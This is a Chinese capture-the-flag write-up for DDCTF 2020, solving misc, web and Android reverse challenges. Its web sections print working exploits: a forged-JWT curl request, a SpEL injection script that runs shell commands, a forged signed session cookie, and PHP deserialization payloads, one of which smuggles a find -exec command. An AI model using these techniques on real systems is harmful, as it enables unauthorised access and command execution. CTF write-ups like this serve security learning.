DDCTF 2020 WriteUp
前言
滴,老人卡~
周末花了一天时间,做了几道题。
比赛入口地址:https://ddctf.didichuxing.com/
Misc - 真·签到题
flag在公告栏里。
Flag: DDCTF{he1l0_ddctf_2o2o_*\^o^/*=3=33!!!}
Web - Web签到题
http://117.51.136.197/hint/1.txt
主要有两个API,一个是登录,一个是验证,验证成功后才可以下载客户端。
Interface documentation
- login interface
[-][Safet Reminder]The Private key cannot use request parameter
Request
Method | POST
URL | http://117.51.136.197/admin/login
Param | username str | pwd str
Response
token str | auth(Certification information)
- auth interface
Request
Method | POST
URL | http://117.51.136.197/admin/auth
Param | username str | pwd str | token str
Response
url str | client download link
有一条提示,私钥不能使用请求的参数。
经过猜测和尝试,发现token是JWT,pwd是作为token加密的私钥。
上工具 ticarpi/jwt_tool
,将 userRole
由原来的 GUEST
改成 ADMIN
,然后重新签名,请求 /admin/auth
$ curl -X POST -d 'username=agg&pwd=bs&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFnZyIsInB3ZCI6ImJzIiwidXNlclJvbGUiOiJBRE1JTiIsImV4cCI6MTU5OTMyMzM1M30.-hrIKrExEQTIGDYOEFLuGVKBbkSeXUnqLwulot951_o' 'http://117.51.136.197/admin/auth'
{"code":0,"message":"success","data":"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"}
下载客户端,上IDA,Golang,上插件 IDAGolangHelper
,恢复符号表。在 main_getSign
下可以找到,使用了 HMAC
结合 SHA256
签名,密钥为 DDCTFWithYou
。
然后可以执行 Command
,经过一段时间尝试,发现是 SpEL注入
。
黑名单了 forName
、getClass
之类的,不过 T()
还是能用。
客户端告诉我们,flag在 /home/dc2-user/flag/flag.txt
。
直接贴个最终exp:
import requests
import time
import base64
import hmac
from hashlib import sha256
import json
command = "T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('cat /home/dc2-user/flag/flag.txt').getInputStream())"
timestamp = int(time.time()) + 3600
signature = base64.b64encode(hmac.new('DDCTFWithYou'.encode(), ('%s|%d' % (command, timestamp)).encode(), digestmod=sha256).digest()).decode()
headers = {'Content-Type': 'application/json'}
data = json.dumps({"signature": signature, "command": command, "timestamp": timestamp})
r = requests.post('http://117.51.136.197/server/command', headers=headers, data=data)
print(r.text)
Flag: DDCTF{Q24uf486whGOWN44UtZCjYUgdnnnRaVs}
Misc - 一起拼图吗
一张大图片,被拆分成6400块小图片,猜测flag藏在小图片中,需要对小图片进行拼接,涉及图像识别。
参考资料:
python OpenCV 图片相似度 5种算法 Python实现图片裁剪的两种方式——Pillow和OpenCV Python OPenCV 图片简单拼接 hconcat vconcat函数使用
附上图片拼接脚本(只拼接含有flag的区域):
import cv2
import os
src = './demo.jpg'
dst = './result.jpg'
path = './file_d0wnl0ad/'
imgData = {}
imgHash = {}
def dHash(img):
# 差值哈希算法
# 缩放8*8
img = cv2.resize(img, (9, 8))
# 转换灰度图
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
hash_str = ''
# 每行前一个像素大于后一个像素为1,相反为0,生成哈希
for i in range(8):
for j in range(8):
if gray[i, j] > gray[i, j+1]:
hash_str = hash_str+'1'
else:
hash_str = hash_str+'0'
return hash_str
def cmpHash(hash1, hash2):
# Hash值对比
# 算法中1和0顺序组合起来的即是图片的指纹hash。顺序不固定,但是比较的时候必须是相同的顺序。
# 对比两幅图的指纹,计算汉明距离,即两个64位的hash值有多少是不一样的,不同的位数越小,图片越相似
# 汉明距离:一组二进制数据变成另一组数据所需要的步骤,可以衡量两图的差异,汉明距离越小,则相似度越高。汉明距离为0,即两张图片完全一样
n = 0
# hash长度不同则返回-1代表传参出错
if len(hash1) != len(hash2):
return -1
# 遍历判断
for i in range(len(hash1)):
# 不相等则n计数+1,n最终为相似度
if hash1[i] != hash2[i]:
n = n + 1
return n
for filename in os.listdir(path):
imgData[filename] = cv2.imread(path + filename)
imgHash[filename] = dHash(imgData[filename])
img = cv2.imread(src)
col = []
bad_image = ['4137be1695080b57.png', '5c377932f3ccba48.png'] # 跳过这一个错误块
for y in range(10, 14):
row = []
for x in range(1, 13):
cropped = img[27*y:27*(y+1), 51*x:51*(x+1)]
params = ['', 1024, dHash(cropped)]
for i in imgHash:
if x == 3 and y == 11 and i in bad_image: continue
cmpRes = cmpHash(imgHash[i], params[2])
if cmpRes < params[1]:
params[1] = cmpRes
params[0] = i
if cmpRes == 0:
break
if x == 3 and y == 11: print(params[0] )
row.append(imgData[params[0]])
col.append(cv2.hconcat(row))
cv2.imwrite(dst, cv2.vconcat(col))
结果输出到 ./result.jpg
Flag: DDCTF{484e61cd1483c34d64739fe6b775216c}
Web - 卡片商店
手工整数溢出
http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/loans?loans=9999999999
等30秒,刷新卡片,然后就可以兑换礼物。
给出提示:
恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?
猜测这是 session 签名用到的 key,对 session 进行 base64urldecode 后分析,后端应该是 golang。而比较出名的 session 管理器,应该是 github.com/gorilla/sessions。
应该需要伪造 session 里面的 admin 参数为 true,重新对 session 签名,然后访问 /flag 就可以了。
session 签名具体过程,参考 https://github.com/gorilla/securecookie/blob/master/securecookie.go#L259
gob 序列化,可以在 go playground 跑下面这段代码,就知道怎么改 admin 为 true了。
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"log"
)
func main() {
session_data := make(map[string]interface{},0)
session_data["admin"] = true
var buf bytes.Buffer
enc := gob.NewEncoder(&buf)
err := enc.Encode(session_data)
if err != nil {
log.Fatal("encode error:", err)
}
fmt.Println(hex.Dump(buf.Bytes()))
}
以下是拿flag的exp:
import requests
import time
import base64
import hmac
import hashlib
balance = 'http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/balance'
flag = 'http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/flag'
session_name = b'session'
key = 'Udc13VD5adM_c10nPxFu@v12'
r = requests.get(balance)
cookie = base64.urlsafe_b64decode(r.headers['Set-Cookie'].split('session=')[1].split(';')[0])
cookie = cookie.split(b'|')
if len(cookie) != 3:
print('try again')
exit()
data = base64.urlsafe_b64decode(cookie[1])
data = data.replace(b'bool\x02\x02\x00\x00', b'bool\x02\x02\x00\x01')
cookie[1] = base64.urlsafe_b64encode(data)
signature = hmac.new(key.encode(), b'%b|%b|%b' % (session_name, cookie[0], cookie[1]), digestmod=hashlib.sha256).digest()
headers = {'Cookie': b'%b=%b' % (session_name, base64.urlsafe_b64encode(b'%b|%b|%b' % (cookie[0], cookie[1], signature)))}
r = requests.get(flag, headers=headers)
print(r.text)
Flag: DDCTF{Th151s3AsY4ormE2333!}
Web - Overwrite Me
有个提示,尝试访问 http://117.51.137.166/hint/hint.php ,发现 flag 的前部分已经给出,而且还提示与 GMP 反序列化有关。
这里我认为,预期解应该是反序列化用 include 文件包含,读取这个文件。
Payload如下:
<?php
class HintClass
{
protected $hint;
public function __construct()
{
$this->hint = 'php://filter/read=convert.base64-encode/resource=hint/hint.php';
}
}
class ShowOff
{
public $contents;
public $page;
public function __construct()
{
$this->page = new MiddleMan();
}
}
class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = new HintClass();
}
}
echo urlencode(serialize(new ShowOff()));
# http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=O%3A7%3A%22ShowOff%22%3A2%3A%7Bs%3A8%3A%22contents%22%3BN%3Bs%3A4%3A%22page%22%3BO%3A9%3A%22MiddleMan%22%3A2%3A%7Bs%3A15%3A%22%00MiddleMan%00cont%22%3BN%3Bs%3A7%3A%22content%22%3BO%3A9%3A%22HintClass%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00hint%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dhint%2Fhint.php%22%3B%7D%7D%7D
得到 hint.php
的内容:
<?php
echo "Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39";
echo "And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!";
?>
然后上网查与 GMP 反序列化有关的资料,发现 __wakeup
有点用,但是预设值为 2,刚好有 $obstacle1
和 $obstacle2
在中间隔开。
然后继续查资料,发现用 DateInterval
可以自己指定位置。
Payload如下:
<?php
$command = '-iname sth -or -exec cat /HackersForever/suffix_flag.php ; -quit';
$inner = 's:1:"4";a:2:{s:4:"flag";s:'.strlen($command).':"'.$command.'";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
echo urlencode($exploit);
# http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=a%3A1%3A%7Bi%3A0%3BC%3A3%3A%22GMP%22%3A137%3A%7Bs%3A1%3A%224%22%3Ba%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A64%3A%22-iname+sth+-or+-exec+cat+%2FHackersForever%2Fsuffix_flag.php+%3B+-quit%22%3Bi%3A0%3BO%3A12%3A%22DateInterval%22%3A1%3A%7Bs%3A1%3A%22y%22%3BR%3A2%3B%7D%7D%7D%7D
得到 suffix_flag.php
的内容:
<?php
echo "ktVGosRfMQmazsxd}";
echo "Well Done! You got the remaining flag, Congratulations!";
echo "Combine your preffix_flag with suffix_flag and submit!";
?>
将flag的头尾结合起来
Flag: DDCTF{VgQN6HXC2moDAq39ktVGosRfMQmazsxd}
Reverse - Android Reverse 1
题目给出提示,MD5前的结果。
然后是一层 XXTEA,一层AES。
贴解密脚本:
from Crypto.Cipher import AES
import struct
_DELTA = 0x9E3779B9
def _long2str(v, w):
n = (len(v) - 1) << 2
if w:
m = v[-1]
if (m < n - 3) or (m > n): return ''
n = m
s = struct.pack('<%iL' % len(v), *v)
return s[0:n] if w else s
def _str2long(s, w):
n = len(s)
m = (4 - (n & 3) & 3) + n
s = s.ljust(m, "\0")
v = list(struct.unpack('<%iL' % (m >> 2), s))
if w: v.append(n)
return v
def encrypt(str, key):
if str == '': return str
v = _str2long(str, True)
k = _str2long(key.ljust(16, "\0"), False)
n = len(v) - 1
z = v[n]
y = v[0]
sum = 0
q = 6 + 52 // (n + 1)
while q > 0:
sum = (sum + _DELTA) & 0xffffffff
e = sum >> 2 & 3
for p in xrange(n):
y = v[p + 1]
v[p] = (v[p] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
z = v[p]
y = v[0]
v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff
z = v[n]
q -= 1
return _long2str(v, False)
def decrypt(str, key):
if str == '': return str
v = _str2long(str, False)
k = _str2long(key.ljust(16, "\0"), False)
n = len(v) - 1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum = (q * _DELTA) & 0xffffffff
while (sum != 0):
e = sum >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum = (sum - _DELTA) & 0xffffffff
return _long2str(v, False)
enc = ''
_enc = [0x6b,0x93,0x9c,0xfa,0xeb,0x68,0x4b,0x25,0x85,0x54,0xf9,0x1a,0x30,0x84,0xbc,0x7b,0x2c,0xce,0xf3,0x92,0xfe,0x63,0xae,0x67,0xf3,0xe7,0xfb,0x18,0xa2,0xb3,0x32,0x93]
for i in _enc:
enc += chr(i)
key = '\x02\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00'
dec = decrypt(enc, key)
key = '1234567890123456'
cipher = AES.new(key)
print(cipher.decrypt(dec))
Flag: DDCTF{wsxsdf0987!}
Reverse - Android Reverse 2
跟上一题一样,只不过套了个梆梆壳,还有一层 ollvm。
用 FDex2
脱壳,可以找到调用了 libnative-lib.so
里的 Check
。
然后逆 so,可以借助 https://github.com/smartdone/re_scripts 解密字符串。
换了 XXTEA 的 key,其他与上一题一样。
_enc = [0x1d,0xb3,0x52,0xe2,0x0a,0xcd,0xc5,0x69,0xd0,0xe5,0x7c,0xdf,0x61,0xae,0xf0,0x8a,0xc1,0x51,0x54,0xde,0x3c,0xf7,0x58,0xd1,0x60,0xd6,0x57,0xde,0xae,0xeb,0x9a,0xaf]
key = '\x14\x00\x00\x00\x14\x00\x00\x00\x1e\x00\x00\x00\x28\x00\x00\x00'
Flag: DDCTF{FiNal CuP$}
Comments